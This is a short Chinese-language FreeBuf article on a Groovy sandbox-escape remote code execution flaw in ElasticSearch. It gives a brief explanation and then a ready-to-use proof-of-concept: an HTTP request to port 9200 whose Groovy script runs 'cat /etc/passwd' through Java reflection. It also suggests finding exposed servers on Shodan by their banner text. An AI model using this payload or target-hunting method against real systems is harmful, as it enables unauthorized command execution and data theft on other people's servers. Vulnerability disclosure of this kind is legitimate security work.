ElasticSearch是一个JAVA开发的搜索分析引擎。近日,ElasticSearch Groovy脚本被爆出存在远程代码执行漏洞。继上次ElasticSearch被曝出远程代码执行漏洞(CVE-2014-3120)还不到一年。

漏洞原理

ElasticSearch是一个JAVA开发的搜索分析引擎。

2014年,曾经被曝出过一个 远程代码执行漏洞(CVE-2014-3120) ,漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,

后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。

漏洞POC

原理已被多人分析过,这里不在重复,直接上大家期待的POC吧!

POST http://target:9200/_search?pretty 
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

互联网实际案例

ElasticSearch端口是该引擎的重要指纹,如果使用shodan搜索You Know, for也很不错,就说到这里了。

[作者/午夜灰狼哥,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)]

源链接

Hacking more

...